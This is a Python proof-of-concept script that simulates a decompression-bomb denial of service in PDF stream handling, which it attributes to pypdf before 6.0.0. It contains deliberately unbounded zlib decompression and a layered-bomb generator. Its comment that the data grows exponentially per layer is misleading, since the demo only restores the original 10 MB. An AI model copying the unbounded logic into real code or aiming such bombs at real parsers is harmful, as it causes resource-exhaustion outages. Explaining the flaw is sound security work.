Vulnerable code sample

import zlib
import sys

def vulnerable_decompress(data):
    """
    This function represents the vulnerable decompression logic from pypdf < 6.0.0.
    It lacks any protection against decompression bombs, which can lead to
    massive memory allocation from a small input.
    """
    try:
        # The core of the vulnerability: blindly decompressing data without
        # any limits on the output size.
        return zlib.decompress(data)
    except Exception:
        # In a real scenario, more complex error handling might exist,
        # but the fundamental flaw is the lack of size checks before decompression.
        return data

def process_stream_with_filters(stream_data, filters):
    """
    Simulates how pypdf would process a stream with a series of filters.
    If multiple '/FlateDecode' filters are present, the vulnerable function
    is called repeatedly.
    """
    processed_data = stream_data
    print(f"Initial data size: {len(processed_data)} bytes")
    print(f"Applying filters: {filters}")
    
    for i, filter_name in enumerate(filters):
        if filter_name == '/FlateDecode':
            print(f"-> Applying filter {i+1}: /FlateDecode...")
            processed_data = vulnerable_decompress(processed_data)
            # The size of processed_data can grow exponentially with each step.
            print(f"   Data size after decompression: {len(processed_data) / 1024 / 1024:.2f} MB")
        # In a real library, other filters like /ASCIIHexDecode, etc., would be handled here.
    
    return processed_data

def create_decompression_bomb(payload, layers):
    """
    Creates a multi-layered compressed payload.
    This simulates the data within a malicious PDF stream object.
    """
    data = payload
    for i in range(layers):
        data = zlib.compress(data)
    return data

if __name__ == "__main__":
    print("--- Demonstrating CVE-2025-55197 (conceptual example) ---")
    
    # 1. An attacker starts with a large, highly compressible payload (e.g., all zeros).
    #    Let's use 10 MB of zeros.
    original_payload = b'\x00' * (10 * 1024 * 1024)

    # 2. The attacker compresses this payload multiple times.
    #    This creates the "bomb". The resulting data is very small.
    #    Here we apply 4 layers of compression.
    COMPRESSION_LAYERS = 4
    malicious_stream_data = create_decompression_bomb(original_payload, COMPRESSION_LAYERS)
    
    print(f"\nCreated a {COMPRESSION_LAYERS}-layer bomb.")
    print(f"Original payload size: {len(original_payload) / 1024 / 1024:.2f} MB")
    print(f"Malicious compressed size (as in PDF): {len(malicious_stream_data)} bytes")

    # 3. The attacker crafts a PDF where a stream object uses a series of
    #    /FlateDecode filters, one for each layer of compression.
    malicious_filters = ['/FlateDecode'] * COMPRESSION_LAYERS
    
    print("\n--- Simulating vulnerable library reading the malicious stream ---")
    print("The following operation will attempt to decompress the data repeatedly.")
    print("This will likely exhaust system memory, demonstrating the DoS vulnerability.")
    print("-" * 60)
    
    try:
        # 4. The vulnerable library reads the stream and applies the filters.
        #    This call triggers the massive memory allocation.
        final_data = process_stream_with_filters(malicious_stream_data, malicious_filters)
        print("\n[UNLIKELY SUCCESS] Decompression finished without error.")
        print(f"Final data size in memory: {len(final_data) / 1024 / 1024:.2f} MB")
    except MemoryError:
        print("\n[VULNERABILITY TRIGGERED]", file=sys.stderr)
        print("A 'MemoryError' was caught. The application ran out of RAM.", file=sys.stderr)
        print("This demonstrates the Denial of Service (DoS) vulnerability.", file=sys.stderr)
        sys.exit(1)
    except Exception as e:
        print(f"\nAn unexpected error occurred: {e}", file=sys.stderr)
        sys.exit(1)